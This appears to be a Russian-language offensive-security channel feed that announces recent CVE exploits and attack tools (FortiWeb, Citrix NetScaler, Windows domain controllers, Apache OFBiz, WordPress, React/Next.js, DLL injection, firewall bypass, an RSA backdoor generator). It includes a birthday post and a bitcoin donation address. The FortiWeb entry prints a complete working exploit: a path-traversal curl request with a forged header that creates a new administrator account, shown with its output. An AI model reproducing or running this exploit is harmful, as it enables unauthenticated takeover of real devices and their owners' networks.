Fortinet FortiWeb
*
auth bypass vuln
*
check vuln

CVE-2025-33073
*
POC я уже публиковал, а тут универсалочка подъехала.

Universal exploit

#win #DC #controller

CVE-2025-12101 + CVE-2025-21202
*
Citrix NetScaler ADC and Citrix NetScaler Gateway
*
exploit +xss tool

CVE-2025-64446 FortiWeb Unauthenticated RCE via Path Traversal and CGI Auth Bypass
*
Ну то есть исходя из ЭТОГО
можно получить такое:

python3 - <<'PY'
import base64, json, subprocess
header = base64.b64encode(json.dumps({
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
}).encode()).decode()

payload = json.dumps({
    "data": {
        "q_type": 1,
        "name": "note2",
        "access-profile": "prof_admin",
        "password": "note2",
        "comment": "automated RCE"
    }
})

cmd = [
    "curl", "--path-as-is", "-sk",
    "-H", f"CGIINFO: {header}",
    "-H", "Content-Type: application/json",
    "--data", payload,
    "https://localhost:38443/api/v2.0/cmdb/system/admin%3f/../../../cgi-bin/fwbcgi"
]
print(subprocess.run(cmd, capture_output=True, text=True).stdout)
PY

Output from the box:

{ "results": { "name": "note2", "access-profile": "prof_admin", ... } }

То есть просто получаем нового админа

CVE-2025-59118: Critical Apache OFBiz
*
RCE
*
Full Server Compromise

13:17 пробило
а вот и ОН
happy birthday
день рождения )))
дамы и господа - нам 4 года
*
Если пересказать = многое было, я бы многое изменил, но вышло так как вышло, ну и хорошо.
*|
С днем рождения НАС )))) начнем в 13:17 ))))
Ну, и все как всегда - берегите себя и своих близких ! ))))

Donate^
Поддержать проект:

BTC bc1qmrt229eghjyj9wqa7nmr9j8zuq6khz6km2pker

С днем нас рождения ))))

гоу, увидимся внутри !

CVE-2025-6389
is a Critical (CVSS 9.8) vulnerability
in the Sneeit Framework WordPress plugin (≤ 8.3)
exploit

#wordpress

Внедрение DLL в процесс проводника с помощью иконок
*
IconJector

крутой сайт !
https://chiptune.app/browse

RSA Backdoor Generator
*
Учитывая сколько всего сидит на RSA, потенциал от атаки действительно ЖИРНЫЙ
*
Link

Bypassing Next Generation Firewalls with fragtunnel
*
Link

CVE-2025-55182
*
(CVSS 10.0) : Catastrophic React Flaw allows Unauthenticated RCE on Next.js and React Server Components.
*
POC

Удобно стало, но поздновато как то

FreeBSD POrts

уже и летопись подвезли ))) https://react2shell.com